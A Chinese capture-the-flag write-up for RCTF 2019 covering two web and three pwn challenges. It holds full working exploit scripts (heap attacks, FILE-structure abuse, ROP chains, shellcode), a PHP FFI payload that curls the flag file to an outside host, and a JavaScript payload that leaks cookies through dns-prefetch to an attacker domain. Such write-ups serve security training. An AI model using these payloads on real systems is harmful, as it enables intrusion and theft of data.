前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RCTF WriteUp(Web篇+PWN篇)

RCTF WriteUp(Web篇+PWN篇)

作者头像
ChaMd5安全团队
发布2019-06-02 21:37:38
1.8K0
发布2019-06-02 21:37:38
举报
文章被收录于专栏:ChaMd5安全团队

Web

nextphp

解题思路 给了一个GET形式的一句话,查看phpinfo有open_basedir限制,利用glob:///*绕过

代码语言:javascript
复制
http://nextphp.2019.rctf.rois.io/?a=$a="glob:///*";$file_list%20=%20array();$it%20=%20new%20DirectoryIterator($a);foreach($it%20as%20$f)%20{$file_list[]%20=%20$f->__toString();};var_dump($file_list);

现在是如何读取文件的问题

https://wiki.php.net/rfc/preload

preload.php

代码语言:javascript
复制
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function __serialize(): array {
        return $this->data;
    }
    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }
    public function serialize (): string {
        return serialize($this->data);
    }
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
    public function __get ($key) {
        return $this->data[$key];
    }
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
    public function __construct () {
        throw new \Exception('No implemented');
    }
}

于是就

代码语言:javascript
复制
class B implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1',
    ];
    public function __construct($func = 'print_r', $arg = '1') {
        $this->data['func'] = $func;
        $this->data['arg'] = $arg;
    }
    public function serialize(): string {
        return serialize($this->data);
    }
    public function unserialize($payload) {
        $this->data = unserialize($payload);
    }
}
$a = new B("FFI::cdef", "int system(char *command);");
$s = str_replace('C:1:"B":', 'C:1:"A":', serialize($a));
$b = unserialize($s);
$b->ret->system("curl http://xxx/ -F f=@/flag")

flag : RCTF{Do_y0u_l1ke_php74?}

jail

解题思路: CSP

代码语言:javascript
复制
sandbox allow-scripts allow-same-origin;
base-uri 'none';
default-src 'self';
script-src 'unsafe-inline' 'self';
connect-src 'none';
object-src 'none';
frame-src 'none';
font-src data: 'self';
style-src 'unsafe-inline' 'self';

利用 dns-prefetch 传出数据

代码语言:javascript
复制
<script>
    function toHex(s){
        var val = "";
        for (var i = 0; i < s.length; i++) {
            val += s.charCodeAt(i).toString(16);
        }
        return val;
    }
    c = document.cookie.split(";");
    head = document.getElementsByTagName("HEAD")[0];
    for (var i=0; i<c.length;i++)
    {
        var t = c[i];
        if (t.indexOf("flag=") > -1){
            t = toHex(t.split("=")[1]);
            for(var j = 0; j < 5; j++){
                var tt =t.substr(j*20,20);
                if (tt.length == 0) break;
                head.innerHTML = head.innerHTML + "<link rel=\"dns-prefetch\" href=\"//v_"+j+"_" + tt+  ".flag.sglpih.ceye.io\">";
            }
        }
    }
</script>

flag : RCTF{welc0me_t0_the_chaos_w0r1d}

PWN

babyheap

首先在init中可以看到:

代码语言:javascript
复制
fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("open failed!");
    exit(-1);
  }
  read(fd, &ptrs, 8uLL);
  close(fd);
  ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
  mallopt(1, 0);
  if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )
  {
    puts("mmap error!");
    exit(-1);
  }

程序会随机map一段地址用于后期存放note结构体:

代码语言:javascript
复制
note_addr
note_len

而后使用mallopt关闭了fastbin的分配,可以看到漏洞在:

代码语言:javascript
复制
printf("Content: ", v3);
 v1 = read_n(*((void **)ptrs + 2 * v0), *((_DWORD *)ptrs + 4 * v0 + 2));
 *(_BYTE *)(*((_QWORD *)ptrs + 2 * v0) + v1) = 0;

存在off by one,当v1恰好读到边界时,会溢出一字节"\x00" 首先利用"\x00"溢出来修改pre in use位来使伪造好的chunk因为unsorted bin的unlink合并,进而构造堆重叠 而后即可free掉重叠堆块进入unsorted bin来leak libc 下面我选择直接unsorted bin attack,将chunk地址写入global_max_fast,因为地址非负,重新开启fastbin的分配,此时重叠堆再次释放即可进入fastbin,进而fd因为重叠可控,修改malloc_hook为one_target后发现crash 想起init中的:

代码语言:javascript
复制
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
  {
    puts("Could not start seccomp:");
    exit(-1);
  }
  if ( prctl(22, 2LL, &filterprog) == -1 )
  {
    puts("Could not start seccomp:");
    exit(-1);
  }

开启了seccomp,使用seccomp-tools查看:

代码语言:javascript
复制
~/rctf$ seccomp-tools  dump ./babyheap 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

关闭了execv,只能想办法open,read,write 这里我选择修改free_hook为printf来人为构造格式化字符串漏洞,有个小问题,本题环境下free_hook周围没有0x7F这种合法size

因此选择从最近的存在合法size位置不断fastbin attack并写入合法地址,直到分配进free_hook,而后利用格式化字符串漏洞leak stack&&程序加载地址,接着利用格式化在栈中写入一个合法size(因为栈中有bp指针,可以直接用%n写入高地址)

将一个chunk分配进栈,而后写入ptrs地址,这样就可以再次利用格式化字符串泄露最初mmap的地址,而后再次利用fastbin attack将堆分配进mmap处即可控制整个结构实现任意地址读写,直接选择在edit时改写返回地址为rop链

调用open("./flag",“r”)->read(fd,note_addr,len)->show(note)即可最终获得flag

代码语言:javascript
复制
from pwn import *

#context.log_level="debug"
def add(size):
    p.sendlineafter("Choice: \n","1")
    p.sendlineafter("Size: ",str(size))
def edit(index,note):
    p.sendlineafter("Choice: \n","2")
    p.sendlineafter("Index: ",str(index))
    p.sendafter("Content: ",note)
def delete(index):
    p.sendlineafter("Choice: \n","3")
    p.sendlineafter("Index: ",str(index))
def show(index):
    p.sendlineafter("Choice: \n","4")
    p.sendlineafter("Index: ",str(index))
    return p.recvuntil("\n").strip()
#p=process("./babyheap")
p=remote("123.206.174.203",20001)
add(0x18)     
add(0x508)    
add(0x18)     
edit(1,'b'*0x4f0 + p64(0x500))  
add(0x18)     
add(0x508)    
add(0x18)     
edit(4,'b'*0x4f0 + p64(0x500))  
add(0x18)     
delete(1)
edit(0,'b'*0x18)
add(0x18)     
add(0x4d8)    
delete(1)
delete(2)  
add(0x18)     
libc_addr=u64(show(7).ljust(8,"\x00"))+0x7f0e884c5000-0x7f0e88889b78
max_fast=libc_addr+0x7f0e8888b7f8-0x7f0e884c5000
print hex(libc_addr)
print hex(max_fast)
delete(1)
add(0x38)
edit(7,p64(0)*3+p64(0x4f1)+"aaaaaaaa"+p64(max_fast-16))
add(0x4e8)
delete(0)
edit(1,p64(0)*3+p64(0x71))
edit(2,p64(0)*9+p64(0x21)+p64(0)*3+p64(0x21))
delete(7)
edit(1,p64(0)*3+p64(0x71)+p64(libc_addr+0x7f15218e7715-0x7f1521522000))
add(0x68)
add(0x68)
edit(7,"\x00"*3+p64(0)*8+p64(0x551))
edit(1,p64(0)*3+p64(0x551))
edit(4,p64(0)*3+p64(0x30))
delete(0)
edit(1,p64(0)*3+p64(0x551)+p64(libc_addr+0x7f592d7ab760-0x7f592d3e6000))
add(0x548)
add(0x548)
edit(8,p64(0)*(0x53*2)+p64(0)+p64(0x551))
edit(1,p64(0)*3+p64(0x551))
edit(4,p64(0)*3+p64(0x20))
delete(0)
edit(1,p64(0)*3+p64(0x551)+p64(libc_addr-0x7fd6e0f9b000+0x7fd6e1360ca0))
add(0x548)
add(0x548)
edit(9,p64(0)*(0x53*2)+p64(0)+p64(0x551))
edit(1,p64(0)*3+p64(0x551))
edit(4,p64(0)*3+p64(0x20))
delete(0)
edit(1,p64(0)*3+p64(0x551)+p64(libc_addr- 0x7f80b6025000+0x7f80b63eb1e0))
add(0x548)
add(0x548)
edit(10,p64(0)*(0x53*2)+p64(0)+p64(0x601))
edit(1,p64(0)*3+p64(0x601))
edit(4,p64(0)*25+p64(0x20))
delete(0)
edit(1,p64(0)*3+p64(0x601)+p64(libc_addr+0x7fd775994720-0x7fd7755ce000))
add(0x5f8)
add(0x5f8)
#gdb.attach(p) 
edit(11,"\x00"*0x78+p64(libc_addr+0x55800)+"\x00"*72+p64(0x1000))
#gdb.attach(p)
edit(8,"%7$llx %8$llx %9$llx %15$llx")
delete(8)
s=p.recvuntil("D")[:-1]
addrs=s.split(" ")
exec_addr=int(addrs[3],16)-0x55b2ee49e2c2+0x55b2ee49d000
stack_addr=int(addrs[1],16)
print hex(exec_addr)
print hex(stack_addr)
edit(6,"%65c%48$n%48$llx")
delete(6)
edit(11,"\x00"*0x78+p64(0))
edit(1,p64(0)*3+p64(0x41))
edit(2,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21))
#gdb.attach(p)
delete(0)
edit(1,p64(0)*3+p64(0x41)+p64(stack_addr+0x7ffd8412fc00-0x7ffd8412faf0))
add(0x31)
add(0x31)
edit(6,p64(exec_addr+0x202112))
edit(11,"\x00"*0x78+p64(libc_addr+0x55800))
edit(3,"%50$s")
delete(3)
k=p.recvuntil("D")[:-1]
map_addr=u16(k)*0x10000
print hex(map_addr)
edit(11,"\x00"*0x78+p64(0))
edit(1,p64(0)*3+p64(0x31))
edit(2,p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
delete(0)
edit(1,p64(0)*3+p64(0x31)+p64(map_addr+0x60))
add(0x28)
add(0x28)
#gdb.attach(p)
open_addr=libc_addr+0xf7030
read_addr=libc_addr+0xf7250
write_addr=libc_addr+0xf72b0
edit(3,p64(stack_addr-0x7ffdcce76b80+0x7ffdcce76ba8)+p64(0x100)+"./flag\x00")
#gdb.attach(p)
magic_code=p64(exec_addr+0x1433)+p64(map_addr+0x80)+p64(exec_addr+0x1431)+p64(0)+p64(0)+p64(open_addr)
magic_code+=p64(exec_addr+0x1433)+p64(3)+p64(exec_addr+0x1431)+p64(map_addr+0x70)+p64(0)+p64(libc_addr+0x101ffc)+p64(40)+p64(0)+p64(read_addr)
magic_code+=p64(exec_addr+0x1329)#p64(exec_addr+0x1433)+p64(0)+p64(exec_addr+0x1431)+p64(map_addr)+p64(0)+p64(libc_addr+0x101ffc)+p64(20)+p64(0)+p64(write_addr)
edit(7,magic_code)
p.sendlineafter("Index: ","3")
#gdb.attach(p)
p.interactive()
shellcoder

打开程序即可看到,其是使用syscall完成几个基本操作:

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  __int64 v4; // rbx

  alarm();
  write();
  v3 = (_QWORD *)mmap();
  v4 = (__int64)v3;
  *v3 = 0xF4F4F4F4F4F4F4F4LL;
  v3[1] = 0xF4F4F4F4F4F4F4F4LL;
  v3[2] = 0xF4F4F4F4F4F4F4F4LL;
  v3[3] = 0xF4F4F4F4F4F4F4F4LL;
  read();                        // 读取7位
  jmp_rdi(v4);
  return 0;
}

可以看到程序即: mmap一个地址,而后读入7字节shellcode,最后转去shellcode执行 看到shellcode前jmp时候寄存器状态:

代码语言:javascript
复制
RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x7ffff7ff3000 
 RSI  0x0
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x0
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x7fffffffdb48 ◂— 0xabadc0defee1dead
 RIP  0x5555555544c7 ◂— jmp    rdi

rdi为mmap地址,所以可以直接利用现有状态完成read(0,mmap_addr,size)操作,考虑到7字节限制,最后选择:

代码语言:javascript
复制
xchg rdi,rsi
mov dl,0xff
syscall

这样即可继续写入shellcode,不过发现execv失败,猜测远程服务器限制了shell,不然题目也不会故意给出文件目录结构:

代码语言:javascript
复制
...
├── flag
│   ├── unknown
│   │   └── ...
│   │       └── flag
│   └── unknown
└── shellcoder

可以发现open read write还在,所以重点是找到flag位置,重新看了64位下的系统调用表,发现了比较好的函数: cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h

代码语言:javascript
复制
...
#define __NR_getdents 78
#define __NR_getdents64 217

直接利用getdents来读取目录结构即可,最后爆破发现每层4个,一共6层文件夹:

代码语言:javascript
复制
shellcode:
fd=open(dir,"O_RDONLY|O_DIRECTORY")
getdents64(fd,rsp,2048) //将目录结构读入到栈
write(1,rsp,0x200) //将栈上目录结构输出
脚本:
from pwn import *

context.arch="amd64"
context.log_level="debug"
key="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
#p=process("./shellcoder")
def get_ans(f,s,ans):
   if s[0]=="\x03":
       for i in range(0x140):
          if s[i] in key and s[i+1] in key and s[i+2] in key and s[i+3] in key:
             ans.append(f+"/"+s[i:i+4])
             i+=4
       return ans
   return False  
#gdb.attach(p)
k1=[]#记录已获得文件夹
ans=[]
for i in range(1):
   try:
      p=remote("139.180.215.222",20002)
      s="xchg rdi,rsi\n\
       mov dl,0xff\n\
       syscall"
      p.recvuntil("hello shellcoder:")
      p.send(asm(s))
      m="/flag/%s"  %k1[i]
      s2=shellcraft.pushstr(m)+"\nmov rsi,0x10000\n\
        mov rdi,rsp\n\
        mov rax,2\n\
        syscall\n\
        mov rbx,rax\n\
        mov rdi,rax\n\
        mov rsi,rsp\n\
        mov rdx,2048\n\
        mov rax,0xd9\n\
        syscall\n\
        mov rdi,1\n\
        mov rsi,rsp\n\
        mov rdx,0x200\n\
        mov [rsp+8],rax\n\
        mov rax,1\n\
        mov [rsp],rbx\n\
        syscall"
      p.send(asm(s)+asm(s2))
      try:
        get_ans(k1[i],p.recv(0x200),ans)
        print i
        p.close()
      except:
        i-=1
   except:
     i-=1
print ans,len(ans)

最后找到flag在"./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag"

代码语言:javascript
复制
from pwn import *

context.arch="amd64"
#context.log_level="debug"
p=remote("139.180.215.222",20002)
s="xchg rdi,rsi\n\
   mov dl,0xff\n\
   syscall"
p.recvuntil("hello shellcoder:")
p.send(asm(s))
p.send(asm(s)+asm(shellcraft.cat("./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag")))
p.interactive()
ManyNotes

首先程序会读入一个name并输出,不过读入过程中没有"\x00"截断,所以存在leak

代码语言:javascript
复制
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  alarm(0x258u);
  puts("Please input your name: ");
  out_name();
  if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) < 0 )
    exit(1);
  pthread_join(newthread, 0LL);
  return __readfsqword(0x28u) ^ v5;
}

接着程序利用pthread_create新启动一个进程来进入主要部分:

代码语言:javascript
复制
void __fastcall __noreturn start_routine(void *a1)
{
  signed int v1; // [rsp+18h] [rbp-28h]
  int i; // [rsp+1Ch] [rbp-24h]
  int v3; // [rsp+20h] [rbp-20h]
  int v4; // [rsp+24h] [rbp-1Ch]
  int v5; // [rsp+28h] [rbp-18h]
  const void *buf; // [rsp+30h] [rbp-10h]

  v1 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = get_num();
      if ( v3 )
        break;
      printf("Size: ");
      v4 = get_num();
      if ( v4 >= 0 && v4 <= 0x2000 )
      {
        buf = malloc(v4);
        if ( ++v1 > 0x10000 )
          exit(2);
        printf("Padding: ");
        v5 = get_num();
        if ( v5 >= 0 && v5 <= 0x400 )
        {
          v1 += v5;
          if ( v1 > 0x10000 )
            exit(2);
          for ( i = 0; i < v5; ++i )
            malloc(v4);
          printf("Input? (0/1): ");
          if ( get_num() )
          {
            printf("Content: ");
            fake_read((__int64)buf, v4);
            write(1, buf, v4);
          }
        }
        else
        {
          puts("Invalid Padding!");
        }
      }
      else
      {
        puts("Invalid Size!");
      }
    }
    if ( v3 == 1 )
    {
      puts("Bye!");
      exit(2);
    }
    puts("Invalid Command!");
  }
}

可以看到只能申请堆,无法释放,并且可以利用padding申请很多堆,而且在read过程中可以看到:

代码语言:javascript
复制
unsigned __int64 __fastcall fake_read(__int64 a1, size_t a2)
{
  int v3; // [rsp+1Ch] [rbp-14h]
  size_t i; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0LL; i < a2; i += v3 )
  {
    v3 = read(0, (void *)(a1 + i), a2);
    if ( v3 <= 0 )
      exit(2);
  }
  return __readfsqword(0x28u) ^ v5;
}

明显的逻辑漏洞,存在溢出,立即想到house of orange,不过直接改top size并申请较大堆块发现并没有释放进unsorted bin,而是直接扩充了top chunk并分割出来,追踪sysmalloc的程序流发现了:

代码语言:javascript
复制
if (av != &main_arena)
    {
      heap_info *old_heap, *heap;
      size_t old_heap_size;

      /* First try to extend the current heap. */
      old_heap = heap_for_ptr (old_top);
      old_heap_size = old_heap->size;
      if ((long) (MINSIZE + nb - old_size) > 0
          && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
        {
          av->system_mem += old_heap->size - old_heap_size;
          arena_mem += old_heap->size - old_heap_size;
          set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                    | PREV_INUSE);
        }
      else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
        {
          /* Use a newly allocated heap.  */
          heap->ar_ptr = av;
          heap->prev = old_heap;
          av->system_mem += heap->size;
          arena_mem += heap->size;
          /* Set up the new top.  */
          top (av) = chunk_at_offset (heap, sizeof (*heap));
          set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

          /* Setup fencepost and free the old top chunk with a multiple of
             MALLOC_ALIGNMENT in size. */
          /* The fencepost takes at least MINSIZE bytes, because it might
             become the top chunk again later.  Note that a footer is set
             up, too, although the chunk is marked in use. */
          old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
          set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
          if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }
          else
            {
              set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
              set_foot (old_top, (old_size + 2 * SIZE_SZ));
            }
        }
      else if (!tried_mmap)
        /* We can at least try to use to mmap memory.  */
        goto try_mmap;
    }

新的进程里av并不是main arena,其会有一个新的mmap的地方存放堆信息 所以机制与正常情况下不一样,我们需要break这个条件:

代码语言:javascript
复制
if ((long) (MINSIZE + nb - old_size) > 0
          && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)

使得最后_int_free (av, old_top, 1) 很明显MINSIZE + nb - old_size<0不能构造,不然会直接从top chunk分割出去一块chunk 只能想办法grow_heap失败,直接分配很多堆,耗尽第一次mmap的空间,让高地址无法直接扩充分割即可。

由此获得了free的机会 下面我选择构造两次这样的机会,一次free进unsorted bin,一次进入tcache bin,unsortbin下即可利用unsorted bin分割的特点,利用read时的溢出改写剩下的unsorted chunk来进行unsorted bin attack,将地址写到tcache的fd位置(只改低字节),奇怪的是此时会写入&av->top chunk,不过av->top chunk位置依然可控,我们在开始的name处leak libc,将fd再次指向一个位置,即可任意地址写,这时候改写IO_FILE或者malloc_hook都可以完成利用,这里主要是unsorted bin attack时改写低位地址,有一位其实不可控,所以要爆破1 bytes,本地ubuntu 18.04(libc-2.27)很快即可get shell,不过远程过程中这一步始终无法爆出,猜测应该是新线程堆地址偏移libc-2.26和libc-2.27低字节有区别或者像babyheap因为中间远程传输过长数据会出玄学等原因,理论上libc-2.26和libc-2.27分配机制相同,直接改libc偏移即可。

这里不清楚具体原因,EXP是我在libc-2.27下成功本地利用的脚本:

代码语言:javascript
复制
from pwn import *

context.log_level="debug"
_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
    return struct.unpack("<Q",data)[0]

def _u32(data):
    return struct.unpack("<I",data)[0]

def _u16(data):
    return struct.unpack("<H",data)[0]

def _u8(data):
    return ord(data)

def _usz(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _ua(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _p64(data):
    return struct.pack("<Q",data)

def _p32(data):
    return struct.pack("<I",data)

def _p16(data):
    return struct.pack("<H",data)

def _p8(data):
    return chr(data)

def _psz(data):
    if _BITS == 32:
        return _p32(data)
    elif _BITS == 64:
        return _p64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _pa(data):
    if _BITS == 32:
        return struct.pack("<I", data)
    elif _BITS == 64:
        return struct.pack("<Q", data)
    else:
        print("[-] Invalid _BITS")
        exit()

class _IO_FILE_plus:
    def __init__(self):
        self._flags = 0xfbad2800      # High-order word is _IO_MAGIC; rest is flags.
        self._IO_read_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3   # Current read pointer
        self._IO_read_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3# End of get area
        self._IO_read_base = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3  # Start of putback+get area
        self._IO_write_base =libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Start of put area
        self._IO_write_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3  # Current put pointer
        self._IO_write_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3  # End of put area
        self._IO_buf_base = bin_sh_addr   # Start of reserve area
        self._IO_buf_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3+1   # End of reserve area

        # The following fields are used to support backing up and undo.
        self._IO_save_base = 0      # Pointer to start of non-current get area
        self._IO_backup_base = 0    # Pointer to first valid character of backup area
        self._IO_save_end = 0       # Pointer to end of non-current get area

        self._markers = 0
        self._chain = libc_addr-0x7ffff6e03000+0x7ffff71eea00

        self._fileno = 1
        self._flags2 = 0
        self._old_offset = 0xffffffffffffffff    # This used to be _offset but it's too small

        # 1+column number of pbase(); 0 is unknown
        self._cur_column = 0
        self._vtable_offset = 0
        self._shortbuf = 0

        self._lock = libc_addr-0x7ffff6e03000+0x7ffff71f08c0 

        if not _IO_USE_OLD_IO_FILE:
            self._offset = 0xffffffffffffffff
            self._codecvt = 0
            self._wide_data =libc_addr-0x7ffff6e03000+0x7ffff71ee8c0
            self._freeres_list = 0
            self._freeres_buf = 0
            self.__pad5 = 0
            self._mode = 0xffffffff
            self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
        self.vtable = libc_addr+0x3e7fa0-0x28 #_IO_strn_jumps->_IO_str_finish

    def tostr(self):
        buf = _p64(self._flags & 0xffffffff) + \
            _pa(self._IO_read_ptr) + \
            _pa(self._IO_read_end) + \
            _pa(self._IO_read_base) + \
            _pa(self._IO_write_base) + \
            _pa(self._IO_write_ptr) + \
            _pa(self._IO_write_end) + \
            _pa(self._IO_buf_base) + \
            _pa(self._IO_buf_end) + \
            _pa(self._IO_save_base) + \
            _pa(self._IO_backup_base) + \
            _pa(self._IO_save_end) + \
            _pa(self._markers) + \
            _pa(self._chain) + \
            _p32(self._fileno) + \
            _p32(self._flags2) + \
            _p64(self._old_offset) + \
            _p16(self._cur_column) + \
            _p8(self._vtable_offset) + \
            _p8(self._shortbuf)
        if _BITS == 64:
            buf += _p32(0)
        buf += _pa(self._lock)
        if not _IO_USE_OLD_IO_FILE:
            buf += \
            _p64(self._offset) + \
            _pa(self._codecvt) + \
            _pa(self._wide_data) + \
            _pa(self._freeres_list) + \
            _pa(self._freeres_buf) + \
            _psz(self.__pad5) + \
            _p32(self._mode) + \
            ''.join(map(lambda x:_p8(x), self._unused2)) +\
            _pa(self.vtable)
        return buf

    def __str__(self):
        return self.tostr()
def add(size,pad,io_put=1):
   p.sendlineafter("Choice: ","0")
   p.sendlineafter("Size: ",str(size))
   p.sendlineafter("Padding: ",str(pad))
   p.sendlineafter("Input? (0/1): ",str(io_put))
   if io_put==1:
      p.recvuntil("Content: ")
      p.send("a"*size)
for z in range(100):
   try:
      p=process("./many_notes")
      #p=remote("127.0.0.1",9999)
      #p=remote("123.206.174.203",20003)
      #leak libc
      p.recvuntil("name: \n")
      p.send("aaaaaaaa")
      p.recvuntil("a"*8)
      libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec760#-0x3ab720#
      print hex(libc_addr)
      free_hook=libc_addr+0x3ec758#+0x3ebc30#+0x03aac10#
      bin_sh_addr=libc_addr+0x1b3e9a
      #get fake unsorted
      for i in range(7):
        add(0x1ff8,0x400,0)
      add(0x1ff8,1015,0)
      add(0x3b0,0,0)
      #gdb.attach(p)
      for i in range(7):
        add(0x1ff8,0x400,0)
      add(0x1ff8,1015,0)
      p.sendlineafter("Choice: ","0")
      p.sendlineafter("Size: ",str(0x1ff8))
      p.sendlineafter("Padding: ",str(0))
      p.sendlineafter("Input? (0/1): ",str(1))
      p.recvuntil("Content: ")
      p.send("a"*0x1ff0+p64(free_hook))
      #do magic
      p.sendlineafter("Choice: ","0")
      p.sendlineafter("Size: ",str(0xf8))
      p.sendlineafter("Padding: ",str(0))
      p.sendlineafter("Input? (0/1): ",str(1))
      p.recvuntil("Content: ")
      p.sendline("a"*239)
      p.send(p64(free_hook)+p64(0xec1)+"a"*8+"\xd0\xee\xff\xff")
      #gdb.attach(p)
      p.sendlineafter("Choice: ","0")
      p.sendlineafter("Size: ",str(0xeb8))
      p.sendlineafter("Padding: ",str(0))
      p.sendlineafter("Input? (0/1): ",str(0))
      add(0x108,0,0)
      add(0x108,0,0)
      add(0x108,0)
      p.sendlineafter("Choice: ","0")
      p.sendlineafter("Size: ",str(0x108))
      p.sendlineafter("Padding: ",str(0))
      p.sendlineafter("Input? (0/1): ",str(1))
      p.recvuntil("Content: ")
      one_target=libc_addr+0x4f2c5#+0x40e86#
      payload=_IO_FILE_plus().tostr()+p64(0)+p64(libc_addr+0x4f440)+p64(free_hook)
      p.send(payload+"\x00"*(0x108-len(payload)))
      #gdb.attach(p)
      p.interactive()
   except:
      print str(z)+"  failed"
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-05-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • nextphp
      • jail
      • PWN
        • babyheap
          • shellcoder
            • ManyNotes
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档